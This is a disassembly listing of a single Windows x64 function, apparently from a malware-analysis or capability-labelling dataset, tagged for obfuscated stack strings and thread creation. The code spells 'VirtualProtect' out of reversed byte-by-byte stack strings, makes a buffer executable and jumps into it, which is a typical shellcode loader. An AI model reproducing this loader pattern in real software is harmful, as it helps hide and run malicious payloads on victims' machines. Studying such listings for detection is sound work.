Function at 0x40e7b0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x158
mov qword [rsp + 0x108], 0xfffffffffffffffe
mov rax, qword [0x004140d0]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x30]
call fcn.00401460
lea rcx, [rsp + 0x80]
call fcn.0040e560
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0x118]
lea rcx, [0x00416170]
call fcn.004015d0
nop
lea rcx, [rsp + 0x80]
call fcn.004015b0
lea rcx, [0x00416170]
call fcn.00401650
movzx eax, al
test eax, eax
je 0x40e8e9
xor eax, eax
cmp eax, 1
je 0x40e8e9
mov r9d, 0x64
mov r8d, 0x64
mov edx, 0xa
mov ecx, 0xa
call qword [sym.imp.GDI32.dll_CreateRectRgn]
mov qword [rsp + 0x38], rax
mov r9d, 0x96
mov r8d, 0x96
mov edx, 0x32
mov ecx, 0x32
call qword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov qword [rsp + 0x48], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRectRgn]
mov qword [rsp + 0x40], rax
mov r9d, 2
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.GDI32.dll_CombineRgn]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x40e846
lea rcx, [0x004160f0]
call fcn.0040d050
test eax, eax
je 0x40ebc2
mov edx, 0x5aa
lea rcx, [rsp + 0x30]
call fcn.00401470
mov qword [0x00416198], rax
mov dword [rsp + 0x78], 0
jmp 0x40e928
mov eax, dword [rsp + 0x78]
add eax, 1
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 5
jge 0x40e978
cmp dword [rsp + 0x78], 0
jne 0x40e943
mov dword [rsp + 0x120], 1
jmp 0x40e94e
mov dword [rsp + 0x120], 0
xor r9d, r9d
mov r8d, 1
mov edx, dword [rsp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
movsxd rcx, dword [rsp + 0x78]
lea rdx, [0x00416148]
mov qword [rdx + rcx*8], rax
jmp 0x40e91d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x0040e2a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x00416120], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 1
lea r8, [0x0040dd90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x00416128], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 2
lea r8, [0x0040db40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x00416130], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 3
lea r8, [0x0040d980]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x00416138], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 4
lea r8, [0x0040d4c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x00416140], rax
mov r9d, 0xffffffff
mov r8d, 1
lea rdx, [0x00416120]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x7c], 0
jmp 0x40ea93
mov eax, dword [rsp + 0x7c]
add eax, 1
mov dword [rsp + 0x7c], eax
cmp dword [rsp + 0x7c], 5
jge 0x40eac8
movsxd rax, dword [rsp + 0x7c]
lea rcx, [0x00416120]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsxd rax, dword [rsp + 0x7c]
lea rcx, [0x00416148]
mov rcx, qword [rcx + rax*8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40ea88
mov byte [rsp + 0x70], 0x74
mov byte [rsp + 0x71], 0x63
mov byte [rsp + 0x72], 0x65
mov byte [rsp + 0x73], 0x74
mov byte [rsp + 0x74], 0x6f
mov byte [rsp + 0x75], 0x72
mov byte [rsp + 0x76], 0x50
mov byte [rsp + 0x77], 0
mov byte [rsp + 0x58], 0x6c
mov byte [rsp + 0x59], 0x61
mov byte [rsp + 0x5a], 0x75
mov byte [rsp + 0x5b], 0x74
mov byte [rsp + 0x5c], 0x72
mov byte [rsp + 0x5d], 0x69
mov byte [rsp + 0x5e], 0x56
mov byte [rsp + 0x5f], 0
lea rax, [rsp + 0xa8]
mov qword [rsp + 0xd0], rax
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0xd0]
call fcn.00401370
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x100]
call fcn.00401370
mov qword [rsp + 0x138], rax
mov r8, qword [0x00416118]
mov rdx, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x138]
call fcn.0040d1f0
mov qword [rsp + 0x68], rax
mov eax, dword [0x004161a0]
lea r9, [rsp + 0x60]
mov r8d, 0x40
mov rdx, rax
mov rcx, qword [0x00416198]
call qword [rsp + 0x68]
call qword [0x00416198]
mov r8d, 0x5aa
mov rdx, qword [0x00416198]
lea rcx, [rsp + 0x30]
call fcn.00402650
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.00403b20
add rsp, 0x158
ret